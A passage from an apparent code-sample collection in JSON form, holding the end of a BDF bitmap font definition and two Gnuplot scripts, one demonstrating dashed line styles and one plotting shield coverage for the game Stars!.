0\nBITMAP\nE0\n90\n90\nE0\nA0\n90\nENDCHAR\nSTARTCHAR char83\nENCODING 83\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n70\n80\n60\n10\n10\nE0\nENDCHAR\nSTARTCHAR char84\nENCODING 84\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\nF8\n20\n20\n20\n20\n20\nENDCHAR\nSTARTCHAR char85\nENCODING 85\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char86\nENCODING 86\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\n90\n90\n90\n60\n60\nENDCHAR\nSTARTCHAR char87\nENCODING 87\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\n88\n88\n88\nA8\nA8\n78\nENDCHAR\nSTARTCHAR char88\nENCODING 88\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\n90\n90\n60\n60\n90\n90\nENDCHAR\nSTARTCHAR char89\nENCODING 89\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\n88\n88\n50\n20\n20\n20\nENDCHAR\nSTARTCHAR char90\nENCODING 90\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 0\nBITMAP\nF0\n10\n20\n40\n80\nF0\nENDCHAR\nSTARTCHAR char91\nENCODING 91\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 -1\nBITMAP\nC0\n80\n80\n80\n80\n80\n80\nC0\nENDCHAR\nSTARTCHAR char92\nENCODING 92\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n80\n80\n40\n40\n20\n20\n10\n10\nENDCHAR\nSTARTCHAR char93\nENCODING 93\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 -1\nBITMAP\nC0\n40\n40\n40\n40\n40\n40\nC0\nENDCHAR\nSTARTCHAR char94\nENCODING 94\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 3 1 3\nBITMAP\n20\n50\n88\nENDCHAR\nSTARTCHAR char95\nENCODING 95\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 1 1 -1\nBITMAP\nF8\nENDCHAR\nSTARTCHAR char96\nENCODING 96\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 2 2 5\nBITMAP\n80\n40\nENDCHAR\nSTARTCHAR char97\nENCODING 97\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char98\nENCODING 98\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n80\n80\nE0\n90\n90\n90\nE0\nENDCHAR\nSTARTCHAR char99\nENCODING 99\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n70\n80\n80\n80\n70\nENDCHAR\nSTARTCHAR char100\nENCODING 100\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n10\n10\n70\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char101\nENCODING 101\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n60\n90\nF0\n80\n70\nENDCHAR\nSTARTCHAR char102\nENCODING 102\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 7 2 0\nBITMAP\n60\n80\nE0\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char103\nENCODING 103\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 -1\nBITMAP\n70\n90\n90\n70\n10\n60\nENDCHAR\nSTARTCHAR char104\nENCODING 104\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n80\n80\nE0\n90\n90\n90\n90\nENDCHAR\nSTARTCHAR char105\nENCODING 105\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 7 3 0\nBITMAP\n80\n00\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char106\nENCODING 106\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 -1\nBITMAP\n40\n00\n40\n40\n40\n40\n40\n80\nENDCHAR\nSTARTCHAR char107\nENCODING 107\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n80\n80\n90\nA0\nC0\nA0\n90\nENDCHAR\nSTARTCHAR char108\nENCODING 108\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 7 2 0\nBITMAP\n80\n80\n80\n80\n80\n80\n60\nENDCHAR\nSTARTCHAR char109\nENCODING 109\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 0\nBITMAP\nF0\nA8\nA8\nA8\n88\nENDCHAR\nSTARTCHAR char110\nENCODING 110\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\nE0\n90\n90\n90\n90\nENDCHAR\nSTARTCHAR char111\nENCODING 111\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char112\nENCODING 112\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 -1\nBITMAP\nE0\n90\n90\nE0\n80\n80\nENDCHAR\nSTARTCHAR char113\nENCODING 113\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 -1\nBITMAP\n70\n90\n90\n70\n10\n10\nENDCHAR\nSTARTCHAR char114\nENCODING 114\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 2 0\nBITMAP\nE0\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char115\nENCODING 115\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n70\n80\n60\n10\nE0\nENDCHAR\nSTARTCHAR char116\nENCODING 116\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 7 2 0\nBITMAP\n80\n80\nE0\n80\n80\n80\n60\nENDCHAR\nSTARTCHAR char117\nENCODING 117\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char118\nENCODING 118\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n90\n90\n90\n60\n60\nENDCHAR\nSTARTCHAR char119\nENCODING 119\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 0\nBITMAP\n88\nA8\nA8\nA8\n78\nENDCHAR\nSTARTCHAR char120\nENCODING 120\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\n90\n90\n60\n90\n90\nENDCHAR\nSTARTCHAR char121\nENCODING 121\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 -1\nBITMAP\n90\n90\n90\n70\n10\n60\nENDCHAR\nSTARTCHAR char122\nENCODING 122\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 0\nBITMAP\nF0\n10\n60\n80\nF0\nENDCHAR\nSTARTCHAR char123\nENCODING 123\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 -1\nBITMAP\n20\n40\n40\nC0\n40\n40\n40\n20\nENDCHAR\nSTARTCHAR char124\nENCODING 124\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 7 3 -1\nBITMAP\n80\n80\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char125\nENCODING 125\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 1 -1\nBITMAP\n80\n40\n40\n60\n40\n40\n40\n80\nENDCHAR\nSTARTCHAR char126\nENCODING 126\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 2 1 2\nBITMAP\n68\nB0\nENDCHAR\nSTARTCHAR char128\nENCODING 128\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 0 0 0 0\nBITMAP\nENDCHAR\nSTARTCHAR char33\nENCODING 161\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 7 4 -1\nBITMAP\n80\n00\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char99\nENCODING 162\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 -1\nBITMAP\n10\n70\nA8\nA0\nC8\n70\n40\nENDCHAR\nSTARTCHAR char163\nENCODING 163\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\n38\n40\n40\nF0\n40\nF8\nENDCHAR\nSTARTCHAR char164\nENCODING 164\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 6 0 0\nBITMAP\n84\n78\n48\n48\n78\n84\nENDCHAR\nSTARTCHAR char165\nENCODING 165\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 -1\nBITMAP\n88\n50\n20\n70\n20\n70\n20\nENDCHAR\nSTARTCHAR char166\nENCODING 166\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 1 7 3 -1\nBITMAP\n80\n80\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char167\nENCODING 167\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 6 1 -1\nBITMAP\n70\n40\nA0\n50\n20\nE0\nENDCHAR\nSTARTCHAR char168\nENCODING 168\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 1 2 5\nBITMAP\n90\nENDCHAR\nSTARTCHAR char169\nENCODING 169\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 7 0 0\nBITMAP\n30\n48\nB4\nC4\nB4\n48\n30\nENDCHAR\nSTARTCHAR char170\nENCODING 170\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 1 1\nBITMAP\n40\n20\n60\nA0\n60\nENDCHAR\nSTARTCHAR char187\nENCODING 171\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 3 1 1\nBITMAP\n48\n90\n48\nENDCHAR\nSTARTCHAR char172\nENCODING 172\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 3 1 0\nBITMAP\nF8\n08\n08\nENDCHAR\nSTARTCHAR char169\nENCODING 174\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 7 0 0\nBITMAP\n30\n48\nBC\nB4\nAC\n48\n30\nENDCHAR\nSTARTCHAR char175\nENCODING 175\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 1 2 5\nBITMAP\nE0\nENDCHAR\nSTARTCHAR char176\nENCODING 176\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 3 1 3\nBITMAP\n40\nA0\n40\nENDCHAR\nSTARTCHAR char177\nENCODING 177\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 2 1\nBITMAP\n40\nE0\n40\n00\nE0\nENDCHAR\nSTARTCHAR char178\nENCODING 178\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 5 1 2\nBITMAP\n60\n90\n20\n40\nF0\nENDCHAR\nSTARTCHAR char179\nENCODING 179\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 5 1 2\nBITMAP\nC0\n20\nC0\n20\nC0\nENDCHAR\nSTARTCHAR char180\nENCODING 180\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 2 2 6\nBITMAP\n40\n80\nENDCHAR\nSTARTCHAR char181\nENCODING 181\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -2\nBITMAP\n90\n90\n90\nB0\nD0\n80\n80\nENDCHAR\nSTARTCHAR char182\nENCODING 182\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 0 -1\nBITMAP\n78\nE8\nE8\n68\n28\n28\n28\nENDCHAR\nSTARTCHAR char183\nENCODING 183\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 2 3 1\nBITMAP\nC0\nC0\nENDCHAR\nSTARTCHAR char184\nENCODING 184\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 3 2 0\nBITMAP\n40\n20\nE0\nENDCHAR\nSTARTCHAR char185\nENCODING 185\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 5 1 1\nBITMAP\n40\nC0\n40\n40\n40\nENDCHAR\nSTARTCHAR char186\nENCODING 186\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 4 1 2\nBITMAP\n60\n90\n90\n60\nENDCHAR\nSTARTCHAR char187\nENCODING 187\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 3 1 1\nBITMAP\n90\n48\n90\nENDCHAR\nSTARTCHAR char179\nENCODING 188\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 8 0 -1\nBITMAP\n40\nC0\n40\n48\n18\n28\n3C\n08\nENDCHAR\nSTARTCHAR char189\nENCODING 189\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 7 0 0\nBITMAP\n40\nC0\n40\n58\n04\n08\n1C\nENDCHAR\nSTARTCHAR char179\nENCODING 190\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 8 0 -1\nBITMAP\nC0\n20\n40\n28\nD8\n28\n3C\n08\nENDCHAR\nSTARTCHAR char63\nENCODING 191\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -1\nBITMAP\n20\n00\n20\n40\n80\n90\n60\nENDCHAR\nSTARTCHAR char196\nENCODING 192\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n40\n20\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char196\nENCODING 193\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n10\n20\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char196\nENCODING 194\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n60\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char196\nENCODING 195\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char196\nENCODING 196\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n90\n00\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char197\nENCODING 197\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 9 1 0\nBITMAP\n20\n50\n20\n70\n90\n90\n90\nF0\n90\nENDCHAR\nSTARTCHAR char65\nENCODING 198\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 6 0 0\nBITMAP\n7C\n90\n98\n90\nF0\n9C\nENDCHAR\nSTARTCHAR char67\nENCODING 199\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -2\nBITMAP\n70\n80\n80\n80\n80\n70\n20\n40\nENDCHAR\nSTARTCHAR char69\nENCODING 200\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n40\n20\nF0\n80\nE0\n80\n80\nF0\nENDCHAR\nSTARTCHAR char69\nENCODING 201\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n20\n40\nF0\n80\nE0\n80\n80\nF0\nENDCHAR\nSTARTCHAR char69\nENCODING 202\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n70\n80\n80\nE0\n80\nF0\nENDCHAR\nSTARTCHAR char69\nENCODING 203\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n90\n00\nF0\n80\nE0\n80\n80\nF0\nENDCHAR\nSTARTCHAR char73\nENCODING 204\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 0\nBITMAP\n80\n40\nE0\n40\n40\n40\n40\nE0\nENDCHAR\nSTARTCHAR char73\nENCODING 205\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 0\nBITMAP\n20\n40\nE0\n40\n40\n40\n40\nE0\nENDCHAR\nSTARTCHAR char73\nENCODING 206\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 0\nBITMAP\n40\nA0\n00\nE0\n40\n40\n40\nE0\nENDCHAR\nSTARTCHAR char73\nENCODING 207\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 0\nBITMAP\nA0\n00\nE0\n40\n40\n40\n40\nE0\nENDCHAR\nSTARTCHAR char68\nENCODING 208\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 6 1 0\nBITMAP\n70\n48\nE8\n48\n48\n70\nENDCHAR\nSTARTCHAR char110\nENCODING 209\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n90\n90\nD0\nB0\n90\n90\nENDCHAR\nSTARTCHAR char214\nENCODING 210\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n40\n20\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 211\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n20\n40\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 212\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 213\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 214\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n90\n00\n60\n90\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char215\nENCODING 215\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 3 2 2\nBITMAP\nA0\n40\nA0\nENDCHAR\nSTARTCHAR char248\nENCODING 216\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n10\n70\nB0\nB0\nD0\nD0\nE0\n80\nENDCHAR\nSTARTCHAR char85\nENCODING 217\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n40\n20\n90\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char85\nENCODING 218\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n20\n40\n90\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char85\nENCODING 219\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n00\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char85\nENCODING 220\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n90\n00\n90\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char89\nENCODING 221\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 8 1 0\nBITMAP\n10\n20\n88\n88\n50\n20\n20\n20\nENDCHAR\nSTARTCHAR char112\nENCODING 222\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n80\n80\nE0\n90\n90\nE0\n80\n80\nENDCHAR\nSTARTCHAR char223\nENCODING 223\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n60\nA0\nA0\n90\n90\n90\nA0\n80\nENDCHAR\nSTARTCHAR char228\nENCODING 224\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n40\n20\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char228\nENCODING 225\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n10\n20\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char228\nENCODING 226\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n20\n50\n00\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char228\nENCODING 227\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n00\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char228\nENCODING 228\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n50\n00\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char229\nENCODING 229\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n20\n50\n20\n60\n10\n70\n90\n70\nENDCHAR\nSTARTCHAR char97\nENCODING 230\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 6 5 0 0\nBITMAP\n28\n14\n7C\n90\n6C\nENDCHAR\nSTARTCHAR char99\nENCODING 231\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -2\nBITMAP\n70\n80\n80\n80\n70\n20\n40\nENDCHAR\nSTARTCHAR char101\nENCODING 232\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n40\n20\n60\n90\nF0\n80\n70\nENDCHAR\nSTARTCHAR char101\nENCODING 233\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n20\n40\n60\n90\nF0\n80\n70\nENDCHAR\nSTARTCHAR char101\nENCODING 234\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n00\n60\n90\nF0\n80\n70\nENDCHAR\nSTARTCHAR char101\nENCODING 235\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n90\n00\n60\n90\nF0\n80\n70\nENDCHAR\nSTARTCHAR char105\nENCODING 236\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 2 0\nBITMAP\n80\n40\n00\n40\n40\n40\n40\n40\nENDCHAR\nSTARTCHAR char105\nENCODING 237\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 2 8 3 0\nBITMAP\n40\n80\n00\n80\n80\n80\n80\n80\nENDCHAR\nSTARTCHAR char105\nENCODING 238\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 8 2 0\nBITMAP\n40\nA0\n00\n40\n40\n40\n40\n40\nENDCHAR\nSTARTCHAR char105\nENCODING 239\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 3 7 2 0\nBITMAP\nA0\n00\n40\n40\n40\n40\n40\nENDCHAR\nSTARTCHAR char240\nENCODING 240\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 7 1 0\nBITMAP\n20\n18\n30\n10\n70\n90\n60\nENDCHAR\nSTARTCHAR char110\nENCODING 241\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n00\nE0\n90\n90\n90\n90\nENDCHAR\nSTARTCHAR char246\nENCODING 242\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n40\n20\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 243\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n20\n40\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 244\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n00\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char214\nENCODING 245\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n50\nA0\n00\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char246\nENCODING 246\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n90\n00\n60\n90\n90\n90\n60\nENDCHAR\nSTARTCHAR char247\nENCODING 247\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 5 5 1 1\nBITMAP\n20\n00\nF8\n00\n20\nENDCHAR\nSTARTCHAR char248\nENCODING 248\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -1\nBITMAP\n10\n70\nB0\n90\nD0\nE0\n80\nENDCHAR\nSTARTCHAR char117\nENCODING 249\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n40\n20\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char117\nENCODING 250\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n20\n40\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char117\nENCODING 251\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 0\nBITMAP\n60\n90\n00\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char117\nENCODING 252\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 0\nBITMAP\n90\n00\n90\n90\n90\n90\n70\nENDCHAR\nSTARTCHAR char121\nENCODING 253\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n20\n40\n90\n90\n90\n70\n10\n60\nENDCHAR\nSTARTCHAR char112\nENCODING 254\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 7 1 -1\nBITMAP\n80\n80\nE0\n90\nE0\n80\n80\nENDCHAR\nSTARTCHAR char121\nENCODING 255\nSWIDTH 600 0\nDWIDTH 6 0\nBBX 4 8 1 -1\nBITMAP\n90\n00\n90\n90\n90\n70\n10\n60\nENDCHAR\nENDFONT\n"
  },
  {
    "path": "samples/Gnuplot/dashcolor.1.gnu",
    "content": "# set terminal pngcairo  background \"#ffffff\" fontscale 1.0 dashed size 640, 480 \n# set output 'dashcolor.1.png'\nset label 1 \"set style line 1 lt 2 lc rgb \\\"red\\\" lw 3\" at -0.4, -0.25, 0 left norotate back textcolor rgb \"red\"  nopoint offset character 0, 0, 0\nset label 2 \"set style line 2 lt 2 lc rgb \\\"orange\\\" lw 2\" at -0.4, -0.35, 0 left norotate back textcolor rgb \"orange\"  nopoint offset character 0, 0, 0\nset label 3 \"set style line 3 lt 2 lc rgb \\\"yellow\\\" lw 3\" at -0.4, -0.45, 0 left norotate back textcolor rgb \"yellow\"  nopoint offset character 0, 0, 0\nset label 4 \"set style line 4 lt 2 lc rgb \\\"green\\\" lw 2\" at -0.4, -0.55, 0 left norotate back textcolor rgb \"green\"  nopoint offset character 0, 0, 0\nset label 5 \"plot ... lt 1 lc 3 \" at -0.4, -0.65, 0 left norotate back textcolor lt 3 nopoint offset character 0, 0, 0\nset label 6 \"plot ... lt 3 lc 3 \" at -0.4, -0.75, 0 left norotate back textcolor lt 3 nopoint offset character 0, 0, 0\nset label 7 \"plot ... lt 5 lc 3 \" at -0.4, -0.85, 0 left norotate back textcolor lt 3 nopoint offset character 0, 0, 0\nset style line 1  linetype 2 linecolor rgb \"red\"  linewidth 3.000 pointtype 2 pointsize default pointinterval 0\nset style line 2  linetype 2 linecolor rgb \"orange\"  linewidth 2.000 pointtype 2 pointsize default pointinterval 0\nset style line 3  linetype 2 linecolor rgb \"yellow\"  linewidth 3.000 pointtype 2 pointsize default pointinterval 0\nset style line 4  linetype 2 linecolor rgb \"green\"  linewidth 2.000 pointtype 2 pointsize default pointinterval 0\nset noxtics\nset noytics\nset title \"Independent colors and dot/dash styles\" \nset xlabel \"You will only see dashed lines if your current terminal setting permits it\" \nset xrange [ -0.500000 : 3.50000 ] noreverse nowriteback\nset yrange [ -1.00000 : 1.40000 ] noreverse nowriteback\nset bmargin  7\nunset colorbox\nplot cos(x)     ls 1 title 'ls 1',        cos(x-.2)  ls 2 title 'ls 2',     cos(x-.4)  ls 3 title 'ls 3',     cos(x-.6)  ls 4 title 'ls 4',      cos(x-.8)  lt 1 lc 3 title 'lt 1 lc 3',       cos(x-1.)  lt 3 lc 3 title 'lt 3 lc 3',       cos(x-1.2) lt 5 lc 3 title 'lt 5 lc 3'\n"
  },
  {
    "path": "samples/Gnuplot/defense_plotter.p",
    "content": "#\n# defense_plotter.p\n#\n# This is a gnuplot script that creates the graphs for defense values.\n#\n# Defense values are from:\n#\n#   http://wiki.starsautohost.org/wiki/Guts_of_bombing\n#   Author:  Leonard Dickens\n#   Date:  1998/07/17\n#   Forums:  rec.games.computer.stars\n#\n# :author: Brandon Arrendondo\n# :license: MIT\n#\nset terminal pngcairo transparent truecolor font \"Arial Bold,10\" size 350, 250\nset output \"out.png\"\n\nset title \"Shield Coverage vs. Defense Quantity\"\nset grid\nset xrange [0:100]\nset xlabel \"Number of Defenses\"\n\nset format y '%2.0f%%'\nset yrange [0:100]\n\nset key right bottom\n\nsdi = 0.0099\nmissile_battery = 0.0199\nlaser_battery = 0.0239\nplanetary_shield = 0.0299\nneutron_shield = 0.0379\n\nval = neutron_shield\n\nf(x) = (1.0 - ((1.0 - (val)) ** x)) * 100.0\ng(x) = (1.0 - ((1.0 - (val/2.0)) ** x)) * 100.0\n\nplot f(x) title \"Standard\" lt rgb \"#000080\", g(x) title \"Smart\" lt rgb \"#000000\"\n"
  },
  {
    "path": "samples/Gnuplot/defense_plotter.plt",
